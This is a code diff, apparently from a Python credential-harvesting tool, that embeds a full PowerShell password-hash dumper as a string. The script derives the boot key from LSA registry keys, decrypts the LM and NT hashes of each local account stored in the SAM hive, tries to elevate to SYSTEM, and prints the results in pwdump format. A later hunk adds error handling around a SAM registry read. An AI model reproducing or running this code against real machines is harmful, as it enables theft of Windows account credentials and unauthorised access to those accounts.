[Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); - $rc4 = NewRC4 $rc4key; - return ,($rc4.encrypt($F[0x80..0x9F])); - } - function Get-UserName([byte[]]$V) - { - if (-not $V) {return $null}; - $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; - $len = [BitConverter]::ToInt32($V[0x10..0x13],0); - return [Text.Encoding]::Unicode.GetString($V, $offset, $len); - } - function Get-UserHashes($u, [byte[]]$hbootkey) - { - [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; - if ($u.HashOffset + 0x28 -lt $u.V.Length) - { - $lm_hash_offset = $u.HashOffset + 4; - $nt_hash_offset = $u.HashOffset + 8 + 0x10; - $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; - $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; - } - elseif ($u.HashOffset + 0x14 -lt $u.V.Length) - { - $nt_hash_offset = $u.HashOffset + 8; - $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; - } - return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); - } - function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) - { - [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; - # LM Hash - if ($enc_lm_hash) - { - $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; - } - - # NT Hash - if ($enc_nt_hash) - { - $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; - } - return ,($lmhash,$nthash) - } - function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) - { - $deskeys = sid_to_key $rid; - $md5 = [Security.Cryptography.MD5]::Create(); - $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); - $rc4 = NewRC4 $rc4_key; - $obfkey = $rc4.encrypt($enc_hash); - $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + - (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); - return ,$hash; - } - function Get-UserKeys - { - ls HKLM:\SAM\SAM\Domains\Account\Users | - where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | - Add-Member AliasProperty KeyName PSChildName -PassThru | - Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | - Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | - Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | - Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru - } - function DumpHashes - { - LoadApi - $bootkey = Get-BootKey; - $hbootKey = Get-HBootKey $bootkey; - Get-UserKeys | %{ - $hashes = Get-UserHashes $_ $hBootKey; - "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, - [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), - [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); - "`n" - } - } - if ([priv]::IsUserAnAdmin()) - { - if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) - { - DumpHashes - } - else - { - ElevatePrivs - if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) - { - DumpHashes - } - } - } - else - { - Write-Error "Administrator or System privileges necessary." - } + $provider = New-Object Microsoft.CSharp.CSharpCodeProvider + $dllName = [PsObject].Assembly.Location + $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters + $assemblies = @("System.dll", $dllName) + $compilerParameters.ReferencedAssemblies.AddRange($assemblies) + $compilerParameters.GenerateInMemory = $true + $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) + if($compilerResults.Errors.Count -gt 0) { + $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } + } + } + $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); + $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); + $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); + $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); + $odd_parity = @( + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + ); + function sid_to_key($sid) + { + $s1 = @(); + $s1 += [char]($sid -band 0xFF); + $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); + $s1 += $s1[0]; + $s1 += $s1[1]; + $s1 += $s1[2]; + $s2 = @(); + $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; + $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; + return ,((str_to_key $s1),(str_to_key $s2)); + } + function str_to_key($s) + { + $key = @(); + $key += [Shift]::Right([int]($s[0]), 1 ); + $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); + $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); + $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); + $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); + $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); + $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); + $key += $([int]($s[6]) -band 0x7F); + 0..7 | %{ + $key[$_] = [Shift]::Left($key[$_], 1); + $key[$_] = $odd_parity[$key[$_]]; + } + return ,$key; + } + function NewRC4([byte[]]$key) + { + return new-object Object | + Add-Member NoteProperty key $key -PassThru | + Add-Member NoteProperty S $null -PassThru | + Add-Member ScriptMethod init { + if (-not $this.S) + { + [byte[]]$this.S = 0..255; + 0..255 | % -begin{[long]$j=0;}{ + $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; + $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; + } + } + } -PassThru | + Add-Member ScriptMethod "encrypt" { + $data = $args[0]; + $this.init(); + $outbuf = new-object byte[] $($data.Length); + $S2 = $this.S[0..$this.S.Length]; + 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { + $i = ($i+1) % $S2.Length; + $j = ($j + $S2[$i]) % $S2.Length; + $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; + $a = $data[$_]; + $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; + $outbuf[$_] = ($a -bxor $b); + } + return ,$outbuf; + } -PassThru + } + function des_encrypt([byte[]]$data, [byte[]]$key) + { + return ,(des_transform $data $key $true) + } + function des_decrypt([byte[]]$data, [byte[]]$key) + { + return ,(des_transform $data $key $false) + } + function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) + { + $des = new-object Security.Cryptography.DESCryptoServiceProvider; + $des.Mode = [Security.Cryptography.CipherMode]::ECB; + $des.Padding = [Security.Cryptography.PaddingMode]::None; + $des.Key = $key; + $des.IV = $key; + $transform = $null; + if ($doEncrypt) {$transform = $des.CreateEncryptor();} + else{$transform = $des.CreateDecryptor();} + $result = $transform.TransformFinalBlock($data, 0, $data.Length); + return ,$result; + } + function Get-RegKeyClass([string]$key, [string]$subkey) + { + switch ($Key) { + "HKCR" { $nKey = 0x80000000} #HK Classes Root + "HKCU" { $nKey = 0x80000001} #HK Current User + "HKLM" { $nKey = 0x80000002} #HK Local Machine + "HKU" { $nKey = 0x80000003} #HK Users + "HKCC" { $nKey = 0x80000005} #HK Current Config + default { + throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" + } + } + $KEYQUERYVALUE = 0x1; + $KEYREAD = 0x19; + $KEYALLACCESS = 0x3F; + $result = ""; + [int]$hkey=0 + if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) + { + $classVal = New-Object Text.Stringbuilder 1024 + [int]$len = 1024 + if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, + [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) + { + $result = $classVal.ToString() + } + else + { + Write-Error "RegQueryInfoKey failed"; + } + [PowerDump.Native]::RegCloseKey($hkey) | Out-Null + } + else + { + Write-Error "Cannot open key"; + } + return $result; + } + function Get-BootKey + { + $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); + $b = new-object byte[] $($s.Length/2); + 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} + $b2 = new-object byte[] 16; + 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} + return ,$b2; + } + function Get-HBootKey + { + param([byte[]]$bootkey); + $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); + $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); + $k = Get-Item HKLM:\SAM\SAM\Domains\Account; + if (-not $k) {return $null} + [byte[]]$F = $k.GetValue("F"); + if (-not $F) {return $null} + $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); + $rc4 = NewRC4 $rc4key; + return ,($rc4.encrypt($F[0x80..0x9F])); + } + function Get-UserName([byte[]]$V) + { + if (-not $V) {return $null}; + $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; + $len = [BitConverter]::ToInt32($V[0x10..0x13],0); + return [Text.Encoding]::Unicode.GetString($V, $offset, $len); + } + function Get-UserHashes($u, [byte[]]$hbootkey) + { + [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; + if ($u.HashOffset + 0x28 -lt $u.V.Length) + { + $lm_hash_offset = $u.HashOffset + 4; + $nt_hash_offset = $u.HashOffset + 8 + 0x10; + $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; + $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + elseif ($u.HashOffset + 0x14 -lt $u.V.Length) + { + $nt_hash_offset = $u.HashOffset + 8; + $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); + } + function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) + { + [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; + # LM Hash + if ($enc_lm_hash) + { + $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; + } + + # NT Hash + if ($enc_nt_hash) + { + $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; + } + return ,($lmhash,$nthash) + } + function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) + { + $deskeys = sid_to_key $rid; + $md5 = [Security.Cryptography.MD5]::Create(); + $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); + $rc4 = NewRC4 $rc4_key; + $obfkey = $rc4.encrypt($enc_hash); + $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + + (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); + return ,$hash; + } + function Get-UserKeys + { + ls HKLM:\SAM\SAM\Domains\Account\Users | + where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | + Add-Member AliasProperty KeyName PSChildName -PassThru | + Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | + Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru + } + function DumpHashes + { + LoadApi + $bootkey = Get-BootKey; + $hbootKey = Get-HBootKey $bootkey; + Get-UserKeys | %{ + $hashes = Get-UserHashes $_ $hBootKey; + "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, + [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), + [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); + "`n" + } + } + if ([priv]::IsUserAnAdmin()) + { + if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) + { + DumpHashes + } + else + { + ElevatePrivs + if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem) + { + DumpHashes + } + } + } + else + { + Write-Error "Administrator or System privileges necessary." + } } ''' @@ -517,8 +540,11 @@ def get_password_hint(self): # To do For XP # HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\{User} - keyVal = r"SAM\\SAM\\Domains\\Account\\Users" - aKey = OpenKey(HKEY_LOCAL_MACHINE, keyVal) + try: + keyVal = r"SAM\\SAM\\Domains\\Account\\Users" + aKey = OpenKey(HKEY_LOCAL_MACHINE, keyVal) + except: + return hints for i in range(1024): try: